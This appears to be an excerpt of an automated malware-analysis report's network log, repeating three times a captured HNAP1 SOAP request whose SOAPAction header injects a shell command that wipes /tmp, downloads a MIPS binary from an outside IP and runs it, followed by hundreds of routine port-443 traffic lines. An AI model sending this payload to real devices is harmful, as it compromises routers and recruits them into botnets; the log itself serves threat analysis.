| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52910 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52916 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56274 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48890 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42384 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59546 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49852 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48882 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40926 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49176 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58220 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 57374 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48366 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46906 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49736 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 45376 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56388 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48882 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49050 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36420 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59558 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 37752 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 57388 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33826 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36418 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49728 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54494 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48870 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 46210 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52976 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47542 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48870 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53214 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51606 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36890 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48514 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 39706 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60242 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51600 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 50752 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35504 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36412 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52174 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 34234 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57130 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 37734 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36888 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38666 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58246 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 34230 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56064 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58242 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 45356 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40752 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47532 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 45352 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47530 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49864 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 46684 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44266 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 46680 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55578 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54768 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57232 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39910 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46472 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55522 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53958 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59494 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47970 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35552 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60560 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58254 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42372 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49706 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48858 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 46676 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45122 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48854 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60566 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37112 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45044 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55554 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53868 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47340 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59506 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36472 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44876 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38908 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34706 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59510 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40674 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 55154 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 38646 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 34298 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52964 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46676 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35140 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41810 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60974 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54048 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47192 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47532 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36460 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40834 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41938 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48984 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39972 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 37794 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56994 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 37314 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58674 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36458 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56496 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40954 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 57344 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56618 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34272 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36920 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52334 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56536 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47108 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47106 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52760 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48604 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34624 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59838 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48430 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 37780 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56016 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56196 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49896 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42498 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 38624 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40944 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39958 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56024 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35122 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44528 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58680 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 34272 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 34270 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53246 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54736 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 44066 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41382 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52902 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35536 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44942 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52952 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52142 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 45394 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57052 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52060 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56026 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45788 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 57358 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58688 |
| Source: unknown | Network traffic detected: HTTP traffic on port 32868 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36444 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 50720 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58206 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35588 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35250 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59542 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58698 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56036 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56030 |
| Source: unknown | Network traffic detected: HTTP traffic on port 32812 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44794 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 55184 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52908 |
| Source: unknown | Network traffic detected: HTTP traffic on port 43398 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48898 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50420 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48016 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50386 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 38692 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48492 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35352 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33572 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52990 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47160 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 38698 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34702 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52994 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47106 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48988 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34828 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35140 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48000 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49330 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39530 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 53850 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52520 |
| Source: unknown | Network traffic detected: HTTP traffic on port 39394 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37734 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36024 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53148 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36026 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58034 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37946 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60146 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35178 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40944 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40512 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60348 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38572 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41656 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 53868 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45212 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51206 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58098 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52530 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36498 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56192 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36014 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51688 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39516 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37922 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 51860 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58206 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36900 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40506 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34342 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60974 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52780 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40500 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47136 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 53878 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36480 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58336 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60170 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53234 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59788 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39996 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51214 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51698 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 50368 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60222 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 38666 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41826 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59146 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60166 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59186 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49140 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40084 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 51606 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48058 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52592 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40570 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39100 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49382 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52952 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36842 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37864 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36412 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58262 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46034 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47486 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48932 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56556 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46722 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56172 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56638 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40224 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53966 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47192 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40072 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52964 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58278 |
